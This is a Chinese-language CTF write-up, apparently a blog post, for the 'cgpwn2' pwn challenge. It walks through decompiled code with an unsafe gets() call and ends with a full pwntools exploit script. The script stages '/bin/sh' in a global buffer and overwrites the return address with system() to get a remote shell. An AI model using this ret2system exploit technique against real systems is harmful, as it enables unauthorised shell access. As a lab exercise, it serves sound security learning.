cgpwn2 writeup

拿到题目检查防护:
在这里插入图片描述
简单运行下:
在这里插入图片描述
放到ida里看下:
在这里插入图片描述
hello函数的代码如下:

char *hello()
{
  char *v0; // eax
  signed int v1; // ebx
  unsigned int v2; // ecx
  char *v3; // eax
  char s; // [esp+12h] [ebp-26h]
  int v6; // [esp+14h] [ebp-24h]

  v0 = &s;
  v1 = 30;
  if ( (unsigned int)&s & 2 )
  {
    *(_WORD *)&s = 0;
    v0 = (char *)&v6;
    v1 = 28;
  }
  v2 = 0;
  do
  {
    *(_DWORD *)&v0[v2] = 0;
    v2 += 4;
  }
  while ( v2 < (v1 & 0xFFFFFFFC) );
  v3 = &v0[v2];
  if ( v1 & 2 )
  {
    *(_WORD *)v3 = 0;
    v3 += 2;
  }
  if ( v1 & 1 )
    *v3 = 0;
  puts("please tell me your name");
  fgets(name, 50, stdin);
  puts("hello,you can leave some message here:");
  return gets(&s);
}

函数上面一大串代码都没啥用。
主要是这里:
在这里插入图片描述
这个name是全局变量。
在这里插入图片描述
程序本身调用了system函数,但是没有现成的/bin/sh字符串,可以使用fgets将/bin/sh字符串读入bss区,然后将返回地址覆盖为system函数,参数布置为name的首地址。
在这里插入图片描述
完整exp如下:

from pwn import*

a=remote("111.198.29.45","32475")

bin_sh_addr=0x0804A080

a.recvuntil("\n")

a.sendline("/bin/sh")

a.recvuntil("\n")

system_addr=0x08048420

payload='A'*42+p32(system_addr)+p32(system_addr)+p32(bin_sh_addr)

a.send(payload)

a.interactive()

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值